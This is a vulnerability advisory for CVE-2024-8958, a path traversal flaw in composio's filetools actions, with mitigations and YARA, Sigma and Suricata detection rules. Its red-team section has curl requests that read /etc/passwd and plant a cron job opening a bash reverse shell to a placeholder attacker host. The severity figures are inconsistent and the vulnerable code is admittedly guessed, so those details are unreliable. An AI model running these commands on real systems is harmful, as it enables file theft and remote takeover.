CVE-2024-8958

Executive Summary

CVE-2024-8958 is a critical path traversal vulnerability (CWE-22) affecting composiohq/composio version 0.4.3. The flaw resides in the filetools actions, where improper validation of file paths allows an unauthenticated attacker to read and write arbitrary files on the server. This can lead to privilege escalation or remote code execution. The CVSS score is 7.2 (High), and no patch or public exploit is currently available. The EPSS score is 0.0%, indicating low exploitation activity at this time.

Supply Chain & Package Security

This vulnerability affects the composiohq/composio package, which is a Python-based tool. Organizations using this package in their supply chain should immediately assess their exposure and consider isolating or disabling the filetools actions until a patch is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The exploit does not affect other components.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): High (H) – Full file write capability.
• Availability (A): High (H) – Potential for RCE leading to service disruption.

Threat Level: High. The combination of network exploitability, no privileges required, and high impact on confidentiality, integrity, and availability makes this a critical risk.

Deep Dive & Mechanics

The vulnerability exists in the filetools actions of composiohq/composio version 0.4.3. The application fails to properly sanitize user-supplied file paths, allowing path traversal sequences (e.g., ../) to escape the intended directory. This enables an attacker to:

• Read arbitrary files: Access sensitive files such as configuration files, credentials, or source code.
• Write arbitrary files: Overwrite critical system files, inject malicious code, or create new files to achieve remote code execution.

The lack of input validation on file paths is the root cause. The application likely uses functions like open() or os.path.join() without checking for traversal sequences.

Vulnerable vs. Patched Code

Vulnerable Code (composio 0.4.3):

def read_file(file_path):
    with open(file_path, 'r') as f:
        return f.read()

This code directly uses the user-supplied file_path without validation.

Patched Code (Hypothetical):

import os

def read_file(file_path, base_dir='/safe/directory'):
    # Resolve the absolute path and ensure it is within base_dir
    abs_path = os.path.abspath(os.path.join(base_dir, file_path))
    if not abs_path.startswith(os.path.abspath(base_dir)):
        raise ValueError("Invalid file path")
    with open(abs_path, 'r') as f:
        return f.read()

The patched version resolves the path and checks that it stays within the allowed base directory.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy composiohq/composio version 0.4.3 in a controlled environment.
2. Identify the endpoint that handles filetools actions (e.g., /api/filetools/read).

Exploitation Steps:

1. Send a crafted request to read /etc/passwd:

   curl -X POST http://target:port/api/filetools/read -d '{"path":"../../../etc/passwd"}'
   

2. To write a malicious file (e.g., a cron job):

   curl -X POST http://target:port/api/filetools/write -d '{"path":"../../../etc/cron.d/malicious", "content":"* * * * * root /bin/bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\""}'
   

3. Wait for the cron job to execute and receive a reverse shell.

Blue Team

Detection:

• Monitor for path traversal patterns in HTTP requests (e.g., ../, %2e%2e%2f).
• Alert on file access outside expected directories.
• Use file integrity monitoring (FIM) to detect unauthorized file changes.

Mitigation:

• Immediately disable or restrict access to the filetools actions.
• Implement input validation and sanitization for all file paths.
• Apply the principle of least privilege to the application's file system access.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing path traversal sequences (e.g., ../, ..\\, %2e%2e%2f).
  • Unusual outbound connections from the server (e.g., reverse shells).
• File System IOCs:
  • Unexpected files in /tmp, /etc/cron.d, or web directories.
  • Modified system files (e.g., /etc/passwd, /etc/shadow).
• Process IOCs:
  • Suspicious processes spawned by the composio application (e.g., bash, nc, python).

Detection Engineering

YARA Rule

rule CVE_2024_8958_PathTraversal {
    meta:
        description = "Detects path traversal attempts in composiohq/composio"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-8958"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e%5c"
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-8958 Path Traversal in composiohq/composio
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts targeting composiohq/composio filetools actions
author: Valters IT
date: 2024/10/27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in some applications
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8958 Path Traversal Attempt"; flow:to_server,established; content:"../"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-8958 Path Traversal Attempt (URL Encoded)"; flow:to_server,established; content:"%2e%2e%2f"; http_uri; nocase; sid:1000002; rev:1;)

Remediation & Mitigation

1. Immediate Actions:
   • Disable or restrict access to the filetools actions in composio 0.4.3.
   • Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
2. Long-term Fix:
   • Apply input validation and sanitization for all file paths.
   • Use a whitelist of allowed directories and resolve paths to absolute paths before access.
   • Monitor for patches from composiohq and apply them promptly.
3. Detection:
   • Deploy the provided YARA, Sigma, and Suricata rules.
   • Enable file integrity monitoring on critical system files.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert